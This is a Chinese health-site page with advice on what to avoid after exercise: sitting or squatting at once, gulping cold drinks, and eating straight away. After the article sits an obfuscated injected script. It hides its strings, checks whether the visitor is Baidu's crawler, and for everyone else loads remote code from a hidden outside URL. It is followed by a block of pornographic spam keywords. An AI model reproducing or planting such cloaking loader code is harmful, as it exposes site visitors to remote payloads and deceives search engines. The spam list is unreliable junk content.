當(dāng)前位置:首頁(yè) > 健康 > 運(yùn)動(dòng)健身 > 正文

運(yùn)動(dòng)之后應(yīng)該做什么呢?

2017-04-15 22:56:57  來源:360常識(shí)網(wǎng)   熱度:
導(dǎo)語(yǔ):很多朋友在發(fā)現(xiàn)自己的身體偏胖或者是體質(zhì)明顯下降的時(shí)候,總是想通過運(yùn)動(dòng)的方法來得以改善,合理適度的運(yùn)動(dòng)能夠在減肥的同時(shí),增強(qiáng)人體的免

很多朋友在發(fā)現(xiàn)自己的身體偏胖或者是體質(zhì)明顯下降的時(shí)候,總是想通過運(yùn)動(dòng)的方法來得以改善,合理適度的運(yùn)動(dòng)能夠在減肥的同時(shí),增強(qiáng)人體的免疫能力,改善身體代謝情況,從而就有非常好的防病抗病的作用,只是在運(yùn)動(dòng)的時(shí)候也會(huì)有很多的禁忌,需要引起我們足夠的重視。

NO.1不要蹲坐休息

這是非常普遍的做法,運(yùn)動(dòng)結(jié)束后感覺累了,就蹲下或坐下認(rèn)為能省力和休息,其實(shí),這是一個(gè)錯(cuò)誤的做法。健身運(yùn)動(dòng)后若立即蹲坐下來休息,會(huì)阻礙下肢血液回流,影響血液循環(huán),加深肌體疲勞。嚴(yán)重時(shí)會(huì)產(chǎn)生重力性休克。

因此,每次運(yùn)動(dòng)結(jié)束后應(yīng)調(diào)整呼吸節(jié)奏,進(jìn)行一些低熱量的活動(dòng),例如慢步走走,做做幾節(jié)放松體操,或者簡(jiǎn)單深呼吸,促使四肢血液回流心臟,以利于還清“氧債”,加快恢復(fù)體能、消除疲勞。實(shí)在體力不支時(shí)也可讓同伴攙著走走。

NO.2不要貪吃冷飲

運(yùn)動(dòng)往往使人大汗淋漓,尤其是在夏天,隨著大量水分的消耗,運(yùn)動(dòng)過后總會(huì)有口干舌燥、急需喝水的感覺,以年輕人為主,大多喜歡買一些冷飲解暑解渴。然而此時(shí)人體消化系統(tǒng)仍處在抑制狀態(tài),消化功能低下。若圖一時(shí)涼快和解渴而貪吃大量冷飲,極易引起胃腸痙攣、腹痛、腹瀉,并誘發(fā)腸胃道疾病。所以,運(yùn)動(dòng)后不要立即貪吃大量冷飲,此時(shí)適宜補(bǔ)充少量的白開水或鹽水。

NO.3不要立即吃飯

運(yùn)動(dòng)時(shí),特別是激烈運(yùn)動(dòng)時(shí),運(yùn)動(dòng)神經(jīng)中樞處于高度興奮狀態(tài)。在它的影響下,管理內(nèi)臟器官活動(dòng)的副交感神經(jīng)系統(tǒng)則加強(qiáng)了對(duì)消化系統(tǒng)活動(dòng)的抑制。同時(shí),在運(yùn)動(dòng)時(shí),全身血液亦進(jìn)行重新分配,而且比較集中地供應(yīng)了運(yùn)動(dòng)器官的需要,而腹腔內(nèi)各器官的供應(yīng)相對(duì)減少。上述因素使得胃腸道的蠕動(dòng)減弱,各種消化腺的分泌大大減少。它需在運(yùn)動(dòng)結(jié)束20-30分鐘后才能恢復(fù)。如果急忙吃飯,就會(huì)增加消化器官的負(fù)擔(dān),引起功能紊亂,甚至造成多種疾病。

人在進(jìn)行大量的運(yùn)動(dòng)以后,由于新陳代謝快速的增強(qiáng),這時(shí)候也可能會(huì)產(chǎn)生有明顯的饑餓感,在飲食方面最好能夠得以控制,一次吃得過多很可能會(huì)給胃腸造成一些負(fù)擔(dān),從而引起不消化,肚子脹痛等等的不適,并且飲食方面最好是能夠保持細(xì)嚼慢咽。

轉(zhuǎn)載申明:360常識(shí)網(wǎng),歡迎分享,轉(zhuǎn)載請(qǐng)注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}
精品国产三级a在线观看| 亚洲国产精品嫩草影院久久 | 久久久99精品一区二区| 色花堂国产精品第一页| 日韩精品无码一区二区三区AV| 色哟哟精品视频在线观看| 午夜精品乱人伦小说区| 亚洲av无码成人精品区| 亚洲精品又粗又大又爽A片| 国产成人亚洲精品青草天美| 天天爽夜夜爽8888视频精品| 久久只有这精品99| 99精品视频在线免费观看 | 国产精品亚洲一区二区三区| 亚洲精品亚洲人成在线麻豆| 日韩精品成人一区二区三区| 亚洲AV永久无码精品一区二区国产 | 亚洲精品国产美女久久久| 国产成人综合久久精品下载| 亚洲精品二三区伊人久久| 国产精品禁18久久久夂久| 精品久久久久久久中文字幕 | 一级做a爰黑人又硬又粗免费看51社区国产精品视 | 免费观看四虎精品国产永久| 国产精品久久久久久久人人看| 久久久久成人精品| 日韩精品无码一区二区三区四区| 亚洲国产精品人人做人人爱| 国产精品毛片无遮挡高清| 精品国产日韩久久亚洲| 亚洲国产精品人久久电影| 久久99精品久久水蜜桃| 国产精品内射后入合集| 亚洲精品字幕在线观看| 久久99精品久久久久久齐齐| 无码精品久久一区二区三区| 在线观看精品国产福利片87 | 欧洲精品成人免费视频在线观看| 91精品久久久久| 少妇人妻偷人精品免费视频| 老司机91精品网站在线观看 |